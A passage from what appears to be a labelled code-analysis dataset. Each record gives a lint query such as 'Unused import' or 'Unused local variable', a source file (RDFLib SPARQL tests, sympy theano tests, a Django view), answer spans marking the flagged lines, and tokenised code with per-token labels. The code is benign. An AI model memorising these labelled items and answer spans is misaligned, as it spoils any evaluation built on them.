"'_", ":_", "'", "get", "Stat", "s", "'_", ",_", "'", "error", "'_", ":_", "error_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
RDFLib/rdfextras/test/test_sparql/sparql/QueryTests/Test6_12.py
[ { "content": "#!/d/Bin/Python/python.exe\n# -*- coding: utf-8 -*-\n#\n#\n# $Date: 2005/04/02 07:29:46 $, by $Author: ivan $, $Revision: 1.1 $\n#\n\nfrom testSPARQL import ns_rdf\nfrom testSPARQL import ns_rdfs\nfrom testSPARQL import ns_dc\nfrom testSPARQL import ns_dc0\nfrom testSPARQL import ns_foaf\nfrom testSPARQL import ns_ns\nfrom testSPARQL import ns_book\n\nfrom rdflib import Literal\nfrom rdfextras.sparql.operators import lt, ge\nimport datetime\nfrom rdfextras.sparql.graph import GraphPattern\n\nthresholdDate = datetime.date(2005,01,01)\n\n\nrdfData =\"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<rdf:RDF\n xmlns:rdfs=\"http://www.w3.org/2000/01/rdf-schema#\"\n xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n xmlns:dc0=\"http://purl.org/dc/elements/1.0/\"\n xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n xmlns:foaf=\"http://xmlns.com/foaf/0.1/\"\n xmlns:ns = \"http://example.org/ns#\"\n xmlns:book = \"http://example.org/book\"\n>\n <rdf:Description rdf:ID=\"book2\">\n <dc0:title>SPARQL Query Language Tutorial</dc0:title>\n <dc0:creator>Alice</dc0:creator>\n </rdf:Description>\n <rdf:Description rdf:ID=\"book1\">\n <dc:title>SPARQL Protocol Tutorial</dc:title>\n <dc:creator>Bob</dc:creator>\n </rdf:Description>\n</rdf:RDF>\n\"\"\"\n\nselect = [\"?x\",\"?y\"]\npatt1 = GraphPattern([(\"?book\",ns_dc0[\"title\"],\"?x\")])\npatt2 = GraphPattern([(\"?book\",ns_dc[\"title\"],\"?y\")])\npattern = [patt1,patt2]\noptional = []\ntripleStore = None\nexpected = '''\n ?x: SPARQL Query Language Tutorial\n ?y: None\n\n ?x: None\n ?y: SPARQL Protocol Tutorial\n'''\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from testSPARQL import ns_rdf", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 29 }, { "span": "from testSPARQL import ns_rdfs", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 30 }, { "span": "from testSPARQL import ns_foaf", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 30 }, { "span": "from testSPARQL import ns_ns", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 28 }, { "span": "from testSPARQL import ns_book", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 30 }, { "span": "from rdflib import Literal", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 26 }, { "span": "from rdfextras.sparql.operators import lt, ge", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 45 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "d", "/", "Bin", "/", "Pyth", "on", "/", "python", ".", "exe_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "$", "Date", ":", " ", "2005", "/", "04", "/", "02", " ", "0", "7", ":", "2", "9", ":", "4", "6", " ", "$", ",", " ", "by", " ", "$", "Author", ":", " ", "iva", "n", " ", "$", ",", " ", "$", "Revi", "sion", ":", " ", "1.1", " ", "$", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "test", "SPAR", "QL", "_", "import_", "ns", "\\u", "rdf", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test", "SPAR", "QL", "_", "import_", "ns", "\\u", "rdfs", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test", "SPAR", "QL", "_", "import_", "ns", "\\u", "dc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test", "SPAR", "QL", "_", "import_", "ns", "\\u", "dc", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test", "SPAR", "QL", "_", "import_", "ns", "\\u", "foa", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test", "SPAR", "QL", "_", "import_", "ns", "\\u", "ns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test", "SPAR", "QL", "_", "import_", "ns", "\\u", "book_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "rdflib_", "import_", "Literal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rdf", "extras_", "._", "sparql", "_", "._", "operators_", "import_", "lt_", ",_", "ge_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rdf", "extras_", "._", "sparql", "_", "._", "graph_", "import_", "Graph", "Pattern_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threshol", "d", "Date_", "=_", "datetime_", "._", "date_", "(_", "2005", "_", ",_", "0_", "1_", ",_", "0_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rdf", "Data_", "=_", "\"\"\"", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "encoding", "=\"", "UT", "F", "-", "8", "\"?", ">", "\\", "10", ";<", "rdf", ":", "RDF", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "rdfs", "=\"", "http", "://", "www", ".", "w3", ".", "org", "/", "2000", "/", "01", "/", "rdf", "-", "schema", "#\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "rdf", "=\"", "http", "://", "www", ".", "w3", ".", "org", "/", "1999", "/", "02", "/", "2", "2", "-", "rdf", "-", "synta", "x", "-", "ns", "#\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "dc", "0", "=\"", "http", "://", "pur", "l", ".", "org", "/", "dc", "/", "element", "s", "/", "1.0", "/\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "dc", "=\"", "http", "://", "pur", "l", ".", "org", "/", "dc", "/", "element", "s", "/", "1.1", "/\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "foa", "f", "=\"", "http", "://", "xml", "ns", ".", "com", "/", "foa", "f", "/", "0.", "1", "/\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "ns", " ", "=", " ", "\"", "http", "://", "example", ".", "org", "/", "ns", "#\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "book", " ", "=", " ", "\"", "http", "://", "example", ".", "org", "/", "book", "\"", "\\", "10", ";", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "rdf", ":", "Descripti", "on", " ", "rdf", ":", "ID", "=\"", "book", "2", "\">", "\\", "10", ";", " ", " ", " ", " ", "<", "dc", "0", ":", "title", ">", "SPAR", "QL", " ", "Query", " ", "Lang", "ua", "ge", " ", "Tu", "tori", "al", "</", "dc", "0", ":", "title", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "dc", "0", ":", "creat", "or", ">", "Ali", "ce", "</", "dc", "0", ":", "creat", "or", ">", "\\", "10", ";", " ", " ", " ", " ", "</", "rdf", ":", "Descripti", "on", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "rdf", ":", "Descripti", "on", " ", "rdf", ":", "ID", "=\"", "book", "1", "\">", "\\", "10", ";", " ", " ", " ", " ", "<", "dc", ":", "title", ">", "SPAR", "QL", " ", "Proto", "col", " ", "Tu", "tori", "al", "</", "dc", ":", "title", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "dc", ":", "creat", "or", ">", "Bob", "</", "dc", ":", "creat", "or", ">", "\\", "10", ";", " ", " ", " ", " ", "</", "rdf", ":", "Descripti", "on", ">", "\\", "10", ";<", "/", "rdf", ":", "RDF", ">", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "select_", "=_", "[_", "\"?", "x", "\"_", ",_", "\"?", "y", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patt", "1_", "=_", "Graph", "Pattern_", "(_", "[_", "(_", "\"?", "book", "\"_", ",_", "ns", "\\u", "dc", "0_", "[_", "\"", "title", "\"_", "]_", ",_", "\"?", "x", "\"_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patt", "2_", "=_", "Graph", "Pattern_", "(_", "[_", "(_", "\"?", "book", "\"_", ",_", "ns", "\\u", "dc_", "[_", "\"", "title", "\"_", "]_", ",_", "\"?", "y", "\"_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pattern_", "=_", "[_", "patt", "1_", ",_", "patt", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "optional_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "triple", "Store_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "'''", "\\", "10", ";", " ", " ", "?", "x", ":", " ", "SPAR", "QL", " ", "Query", " ", "Lang", "ua", "ge", " ", "Tu", "tori", "al", "\\", "10", ";", " ", " ", "?", "y", ":", " ", "Non", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", "?", "x", ":", " ", "Non", "e", "\\", "10", ";", " ", " ", "?", "y", ":", " ", "SPAR", "QL", " ", "Proto", "col", " ", "Tu", "tori", "al", "\\", "10", ";'", "''_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
sympy/sympy/sympy/printing/tests/test_theanocode.py
[ { "content": "def test_many():\n expr = sy.exp(x**2 + sy.cos(y)) * sy.log(2*z)\n comp = theano_code(expr)\n expected = tt.exp(xt**2 + tt.cos(yt)) * tt.log(2*zt)\n # assert theq(comp, expected)", "metadata": "root.test_many", "header": "['module', '___EOS___']", "index": 72 }, { "content": "def test_MatrixSlice():\n n = sympy.Symbol('n', integer=True)\n X = sympy.MatrixSymbol('X', n, n)\n\n Y = X[1:2:3, 4:5:6]\n Yt = theano_code(Y)\n from theano.scalar import Scalar\n from theano import Constant\n\n s = Scalar('int64')\n assert tuple(Yt.owner.op.idx_list) == (slice(s, s, s), slice(s, s, s))\n assert Yt.owner.inputs[0] == theano_code(X)\n # == doesn't work in theano like it does in SymPy. You have to use\n # equals.\n assert [i.equals(j) for i, j in zip(Yt.owner.inputs[1:],[\n Constant(s, 1),\n Constant(s, 2),\n Constant(s, 3),\n Constant(s, 4),\n Constant(s, 5),\n Constant(s, 6),\n ])]\n\n k = sympy.Symbol('k')\n kt = theano_code(k, dtypes={k: 'int32'})\n start, stop, step = 4, k, 2\n Y = X[start:stop:step]\n Yt = theano_code(Y, dtypes={n: 'int32', k: 'int32'})\n # assert Yt.owner.op.idx_list[0].stop == kt", "metadata": "root.test_MatrixSlice", "header": "['module', '___EOS___']", "index": 170 } ]
[ { "span": "comp ", "start_line": 74, "start_column": 4, "end_line": 74, "end_column": 8 }, { "span": "expected ", "start_line": 75, "start_column": 4, "end_line": 75, "end_column": 12 }, { "span": "kt ", "start_line": 194, "start_column": 4, "end_line": 194, "end_column": 6 }, { "span": "Yt ", "start_line": 197, "start_column": 4, "end_line": 197, "end_column": 6 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "many_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expr_", "=_", "sy_", "._", "exp_", "(_", "x_", "**_", "2_", "+_", "sy_", "._", "cos_", "(_", "y_", ")_", ")_", "*_", "sy_", "._", "log_", "(_", "2_", "*_", "z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp_", "=_", "theano", "\\u", "code_", "(_", "expr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "tt_", "._", "exp_", "(_", "xt_", "**_", "2_", "+_", "tt_", "._", "cos_", "(_", "yt_", ")_", ")_", "*_", "tt_", "._", "log_", "(_", "2_", "*_", "zt", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "assert", " ", "the", "q", "(", "comp", ",", " ", "expected", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "Matrix", "Slice_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "sympy_", "._", "Symbol_", "(_", "'", "n", "'_", ",_", "integer_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "sympy_", "._", "Matrix", "Symbol_", "(_", "'", "X", "'_", ",_", "n_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Y_", "=_", "X_", "[_", "1_", ":_", "2_", ":_", "3_", ",_", "4_", ":_", "5_", ":_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Yt", "_", "=_", "theano", "\\u", "code_", "(_", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "theano_", "._", "scalar_", "import_", "Scalar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "theano_", "import_", "Constant_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "=_", "Scalar_", "(_", "'", "int", "64", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "tuple_", "(_", "Yt", "_", "._", "owner_", "._", "op_", "._", "idx", "\\u", "list_", ")_", "==_", "(_", "slice_", "(_", "s_", ",_", "s_", ",_", "s_", ")_", ",_", "slice_", "(_", "s_", ",_", "s_", ",_", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "Yt", "_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "==_", "theano", "\\u", "code_", "(_", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "==", " ", "doe", "sn", "'", "t", " ", "work", " ", "in", " ", "theano", " ", "like", " ", "it", " ", "doe", "s", " ", "in", " ", "Sym", "Py", ".", " ", "You", " ", "have", " ", "to", " ", "use_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "equals", "._", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "[_", "i_", "._", "equals_", "(_", "j_", ")_", "for_", "i_", ",_", "j_", "in_", "zip_", "(_", "Yt", "_", "._", "owner_", "._", "inputs_", "[_", "1_", ":_", "]_", ",_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "Constant_", "(_", "s_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Constant_", "(_", "s_", ",_", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Constant_", "(_", "s_", ",_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Constant_", "(_", "s_", ",_", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Constant_", "(_", "s_", ",_", "5_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Constant_", "(_", "s_", ",_", "6_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "k_", "=_", "sympy_", "._", "Symbol_", "(_", "'", "k", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kt_", "=_", "theano", "\\u", "code_", "(_", "k_", ",_", "dtypes_", "=_", "{_", "k_", ":_", "'", "int", "32", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", ",_", "stop_", ",_", "step_", "=_", "4_", ",_", "k_", ",_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Y_", "=_", "X_", "[_", "start_", ":_", "stop_", ":_", "step_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Yt", "_", "=_", "theano", "\\u", "code_", "(_", "Y_", ",_", "dtypes_", "=_", "{_", "n_", ":_", "'", "int", "32", "'_", ",_", "k_", ":_", "'", "int", "32", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "assert", " ", "Yt", ".", "owner", ".", "op", ".", "idx", "\\u", "list", "[", "0", "].", "stop", " ", "==", " ", "kt_", "\\u\\u\\uNL\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
AcademicsToday/py-academicstoday/academicstoday_project/landpage/views/terms.py
[ { "content": "import json\nfrom django.shortcuts import render\nfrom django.core import serializers\nfrom django.http import HttpResponse\nfrom django.conf import settings\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def terms_page(request):\n return render(request, 'offlandpage/page/terms.html',{\n 'tab': 'terms',\n 'local_css_urls': [\"css/offlandpage.css\",\n \"bower_components/bootstrap/dist/css/bootstrap.min.css\"],\n 'local_js_urls': [\"bower_components/jquery/dist/jquery.min.js\",\n \"bower_components/bootstrap/dist/js/bootstrap.min.js\",],\n })", "metadata": "root.terms_page", "header": "['module', '___EOS___']", "index": 7 } ]
[ { "span": "import json", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 11 }, { "span": "from django.core import serializers", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 35 }, { "span": "from django.http import HttpResponse", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 36 }, { "span": "from django.conf import settings", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 32 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "render_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "import_", "serializers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "term", "s", "\\u", "page_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "render_", "(_", "request_", ",_", "'", "off", "land", "page", "/", "page", "/", "term", "s", ".", "html", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tab", "'_", ":_", "'", "term", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "local", "\\u", "css", "\\u", "urls", "'_", ":_", "[_", "\"", "css", "/", "off", "land", "page", ".", "css", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bow", "er", "\\u", "component", "s", "/", "boots", "trap", "/", "dist", "/", "css", "/", "boots", "trap", ".", "min", ".", "css", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "local", "\\u", "js", "\\u", "urls", "'_", ":_", "[_", "\"", "bow", "er", "\\u", "component", "s", "/", "jq", "uer", "y", "/", "dist", "/", "jq", "uer", "y", ".", "min", ".", "js", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bow", "er", "\\u", "component", "s", "/", "boots", "trap", "/", "dist", "/", "js", "/", "boots", "trap", ".", "min", ".", "js", "\"_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dimagi/commcare-hq/corehq/apps/hqmedia/cache.py
